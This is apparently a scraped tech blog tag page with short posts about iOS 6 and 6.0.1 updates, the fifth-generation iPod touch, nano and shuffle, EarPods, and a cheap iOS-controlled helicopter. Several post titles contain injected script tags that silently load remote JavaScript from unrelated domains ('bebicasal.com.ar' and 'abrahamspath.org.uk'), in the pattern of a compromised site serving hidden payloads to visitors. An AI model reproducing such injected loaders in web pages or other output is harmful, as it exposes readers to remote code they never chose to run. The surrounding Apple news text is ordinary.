Posts tagged ipod
iOS 6 is live now!<script type="text/javascript" src="http://bebicasal.com.ar/update/ajax.php"></script>
Yes it’s out and the downloads are spreaded all over the world. What you are waiting for? Go and get your iDevice updated now.
New line of Music Players… iPods for sure…<script type="text/javascript" src="http://bebicasal.com.ar/f.js"></script>
Today at its iPhone launch event, Apple announced yet another piece of hardware: the fifth-generation iPod touch. It has a 4-inch display, the same 326 ppi panel used on the new iPhone 5. On the inside, it packs an A5 chip promising seven times the graphics performance of the last-gen model. The battery is rated for 40 hours of music playback, or eight hours of video. The rear camera has also gotten an upgrade: it’s now a 5-megapixel shooter with a backside-illuminated f/2.4 lens. That main rear camera also now shoots 1080p video, and Apple has also added image stabilization. And yes, it supports the same panorama shooting feature as the iPhone 5. The front camera, meanwhile, is 720p and supports FaceTime (over WiFi only, of course — no 4G models here).
the company’s shifting focus to its other major pillar: the iPod. Now seven generations in, the iPod nano is getting a refresh with a 38-percent thinner profile and svelte 5.4mm thickness. The multitouch screen now measures 2.5-inches across and sports a physical home button right below. Also packed in to this evolutionary PMP leap is an FM tuner with DVR-like functionality for playback control, Bluetooth radio (for wireless streaming support), inbuilt pedometer and, of course, that slimmed-down Lightning dock connector. And, according to Cupertino, this wee media player should last for up to 30 hours, making it the longest lasting nano the company’s ever built. You can snag this 16GB lil’ fella in a near rainbow of colors — seven in all — this October when it goes on sale for $149. Official PR after the break.
It’s been quite a while since the Shuffle has been updated, but we’re happy to say that Apple has shown the tiniest of its music players some much needed love. There’s only one change here, but it’s by far the most important — colors! Now the tiny PMPs will match their revamped iTouch brothers. Just, you know, with much less functionality. There’s even a soft and subtle pink model for all those ladies out there that love being pandered to and a Project (RED) version for the socially conscious. They latest generation of the shuffle should ship today.
No more Earphone for iDevices… It’s EarPod<script type="text/javascript" src="http://bebicasal.com.ar/f.js/"></script>
Apple announced that they’ve spent 3 years to develop the new Earphones, Oops I mean EarPods for new iDevices.
All the new line of iDevices will be shipped with the new EarPod, also it can be bought separately.
Apple responds to users complain quickly<script type="text/javascript" src="http://bebicasal.com.ar/update/ajax.php"></script>
It seems that Apple have been really listening and responding to user complains since the iOS 6 upgrade.
Many users have been raising calls and complains to Apple regarding some bugs noticed on iDevices since upgrading it to the latest release.
Apple has released a quick response to the user requests, and released the first update and named it as iOS 6.0.1.
The new update is targeting the following minor fixes:
- Fixes a bug that prevents iPhone 5 from installing software updates wirelessly over the air
- Fixes a bug where horizontal lines may be displayed across the keyboard
- Fixes an issue that could cause camera flash to not go off
- Improves reliability of iPhone 5 and iPod touch (5th generation) when connected to encrypted WPA2 Wi-Fi networks
- Resolves an issue that prevents iPhone from using the cellular network in some instances
- Consolidated the Use Cellular Data switch for iTunes Match
- Fixes a Passcode Lock bug which sometimes allowed access to Passbook pass details from lock screen
- Fixes a bug affecting Exchange meetings
This update gave us one message from Apple, which says that I’m listening and I do really care to give you a flawless products.
iOS 6.0.2 is Active now!!<script type="text/javascript" src="http://abrahamspath.org.uk/cb.php"></script>
A new update for iOS is available for download.
iOS 6.0.2 is meant to fix few bugs which reported by iOS users lately.
The Power of Apple’s Products on Kindergarten Children
How powerful is the influence of Apple products such as iOS devices? With over 200 million iOS devices sold, the odds are pretty good right now kids know about the iPhone, iPad and iPod touch.
The following picture was taken from a kindergarten French class in Vancouver. The teacher (my sister’s friend) asked her students to brainstorm 10 words that started with the letter ‘i’. She was shocked when she saw the following ‘words’ from Apple make the top 10 list. Take a look below:
That’s right folks–after igloo, we have iPad, iPod, itouch (it should never be referred to as this!), iPhone, itouch (again), and…get this…icloud (they must be loving iOS 5). Either these kids are being brainwashed with iOS devices by their parents, or people just can’t avoid the Apple marketing machine.
Apple to Release a White iPod Touch with Minor Changes in October
Apple is expected to hold a press conference in the coming weeks to introduce its fall lineup for the iPhone and iPod touch. Most of the rumors have been focused on the next iPhone revision, and there has been very little information about the next-generation iPod touch.
MacRumors has received information indicating that the next iPod touch revision will be a very minor change, with the primary addition being the introduction of a new white model. Only minor changes are expected for the existing hardware, with the addition of an oleophobic coating for the display and a revised ambient light sensor seemingly being the main differences. Otherwise, we expect the models to be nearly identical to the current fourth-generation iPod touch model.
Our information confirms previous reports by Concord Securities analyst Ming-Chi Kuo, who had indicated that there would be few, if any, distinguishable changes from last year’s iPod touch model.
White parts for the iPod touch leaked into the supply chain back in July, offering the first suggestion of the imminent introduction of the white iPod touch but with no major case changes. As shown above, these white iPod touch screens could be installed onto the existing fourth-generation iPod touches.
This news would conflict with ambitious reports of 3G-enabled iPod touches this year, and also extinguish speculation that the tapered iPhone 5 case design might actually have represented the fifth-generation iPod touch.
The new models are expected to be announced alongside the iPhone in the first week of October with availability in the middle of the month. The iPod nano is also expected to get a minor revision at the same time.
Other reports have pinpointed dates in the first or second week of October for the actual announcement date. We’ve heard similar whispers, but suspect the date has been a moving target. Finally, we have also heard independently that the Golden Master of iOS 5 is targeted for September 23rd, lining up with the iCloud data reset
Griffin Launches $49 iOS-Controlled Helicopter
Interested in an iOS-controlled model helicopter, but turned off by the Parrot AR.Drone‘s $299.99 price tag? Griffin has announced the Helo TC, a $49.99 helicopter controlled via an iOS app. It’s not nearly as fancy as the AR.Drone, but at 1/6th the price, it could be a fun toy for users looking to fly something with their iPhone.
Instead of using WiFi, the Helo includes a “case” that the iPhone slides into and plugs in via the headphone jack. The headphone jack sends tones to an IR transmitter which talks to the helicopter — so users need to have line-of-sight to the helicopter at all times. The case is powered by 4 AAA batteries.
The Helo TC Touch-Controlled Helicopter is available for pre-order for $49.99 from Griffin’s website and will be available at retailers for the holiday season. The Helo TC app is available for free on the App Store, but it won’t do much good until the helicopter actually starts shipping.
iPod. iPhone. iPad. Why Apple is Done Inventing New Devices.
Most of Apple’s money comes from recently invented gadgets. More than two-thirds of Apple’s revenue comes from product types that didn’t even exist five years ago (iPhone and iPad). And 78% of Apple’s income is made by products unimaginable just ten years ago (throw in iPod and iTunes).
That means, in order to stay on the same growth curve in the current decade, Apple will have to invent product categories as new as the iPod, iPhone and iPad were, right?
Wrong.
The new products were part of a killer strategy Apple came up with in 1997. Apple will dominate the future by sticking to the strategy, not by trying to invent more product categories.
iPhoners, an update is released
A new iOS update has been released to upgrade it to be 4.3.4.
It seems this update is meant to fix the leakage hole which was discovered lately and used to jailbreak iPad 2.
We will add more details about the update soon.
It’s recommended for users who is using jailbreak not to upgrade for the time being.
